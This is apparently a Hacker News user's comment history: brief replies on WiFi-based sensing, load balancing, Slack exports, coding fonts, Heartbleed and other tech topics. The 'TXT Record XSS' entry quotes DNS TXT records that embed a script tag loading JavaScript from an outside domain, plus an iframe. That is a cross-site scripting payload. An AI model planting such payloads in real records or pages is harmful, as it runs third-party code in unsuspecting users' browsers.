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er0kon “AI has turned every WiFi router into a camera that can work in the dark”

In 2016 there was an Atlantic article detailing all the different ways wifi could be used to spy on you.

> By analyzing the exact ways that a Wi-Fi signal is altered when a human moves through it, researchers can “see” what someone writes with their finger in the air, identify a particular person by the way that they walk, and even read a person’s lips with startling accuracy—in some cases even if a router isn’t in the same room as the person performing the actions.

I'm not surprised training models on this data made the process much easier.

https://www.theatlantic.com/technology/archive/2016/08/wi-fi...

https://news.ycombinator.com/item?id=12353605

er0kon Load Balancing

Great visualizations. There is also a wonderful talk on this topic called Load Balancing is Impossible by Tyler McMullen https://www.youtube.com/watch?v=kpvbOzHUakA

er0kon Why We’re Suing NSO

https://darknetdiaries.com/episode/100/

er0kon Ask HN: How do you maintain your daily log?

xit + syncthing

https://xit.jotaen.net/

https://syncthing.net/

er0kon Quick Tip: Enable Touch ID for Sudo (2020)

this works for me with tmux https://github.com/fabianishere/pam_reattach

er0kon Ask HN: What is the most unique website you’ve come across on the internet?

jodi.org is still active and pretty cool, IMO

er0kon The time might come when we add some JSON specific command line options

Check out curlie[0] which is really great and already does this. It's essentially a wrapper for curl with JSON support.

[ 0 ] https://github.com/rs/curlie

er0kon Remote Code Execution in Slack desktop apps

so... where did the article go?

er0kon Cancelling Dropbox Pro is hard

This is one of the reasons I try to pay for most things with prepaid credit cards. Not only does it mitigate the risk of me having to change credit cards when their data is stolen, but it makes it very easy to cancel services, simply because there is no money left on the card for them to take.

er0kon Your live coding demo is boring me (2015)

exactly. https://www.youtube.com/watch?v=MCs5OvhV9S4

er0kon Vivaldi 2.0 – includes sync, resizable tab tiling, floating web panels and more

in Vivaldi: File > Save Open Tabs as Session

er0kon Personalisation Is Asymmetric Psychological Warfare

I would prefer it. At least it's honest.

er0kon Guide to Slack import and export tools

> it's unclear whether one could just start paying for a Slack account and immediately pull all DM history for something that didn't come with the expectation of corporate ownership

I've tried. In my experience, Slack will not approve your compliance export application without articles of incorporation.

er0kon 10 most popular coding fonts

I'm still using profont http://tobiasjung.name/profont/

er0kon Essential Phone, available now

Have you seen the Nokia 6? Pure android with dual SIMs

er0kon The sudo fraud

This seems relevant: http://www.garyshood.com/root/

er0kon Google 'mic drop' Gmail joke for April Fools' day backfires

http://supmua.org/ https://github.com/sup-heliotrope/sup/wiki/gpg

er0kon Apple May Use a First Amendment Defense in That FBI Case. And It Just Might Work

I am not a lawyer, but how about a 13th amendment defense?

er0kon Ask HN: How do I learn C and C++ when I love high-level languages?

four halves, huh?

er0kon TXT Record XSS

   jamiehankins.co.uk.	33	IN	TXT	"<script src='//peniscorp.com/topkek.js'></script>"

   jamiehankins.co.uk.	33	IN	TXT	"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"

er0kon PHP 5.7 now nearly twice as fast as PHP 5.6

That reminds of this quote from Mike Haertel:

The key to making programs fast is to make them do practically nothing. ;-)

er0kon Mail-in-a-box: easy to set up modern SMTP/SMTPS server stack

how does this differ from iRedMail?

er0kon NSA Said to Exploit Heartbleed Bug for Intelligence for Years

Cloudflare's challenge is specific to nginx's implementation of OpenSSL. They hypothesize that stealing keys from Apache is unlikely, but possible.

http://blog.cloudflare.com/answering-the-critical-question-c...

er0kon Weev Is Free

It was never really clear, but most likely for tweeting and posting to soundcloud from prison

http://motherboard.vice.com/blog/hacker-andrew-auernheimer-h...

er0kon Your bank data may be at risk if you use an iPhone

no, it affected iOs as well

http://support.apple.com/kb/HT6147

er0kon Target Confirms Point-of-Sale Malware Was Used in Attack

From Target's press release, this happened between Nov. 27 and Dec. 15, so it's closer to three weeks. Dec. 15 was just the first day they confirmed the problem.

er0kon Google Starts to clean up Youtube Comments

I think Randall Munroe did a pretty great job with reddit's 'best' comment ranking[1]. Hopefully youtube will be using something similar.

1: http://blog.reddit.com/2009/10/reddits-new-comment-sorting-s...

er0kon Speed Up Git Pull

ah ok. ControlMaster and ControlPath are both supported though.

er0kon Speed Up Git Pull

this is not true

er0kon NSA Collects 'Word for Word' Every Domestic Communication, Says Former Analyst

http://www.forbes.com/sites/kashmirhill/2013/07/24/blueprint...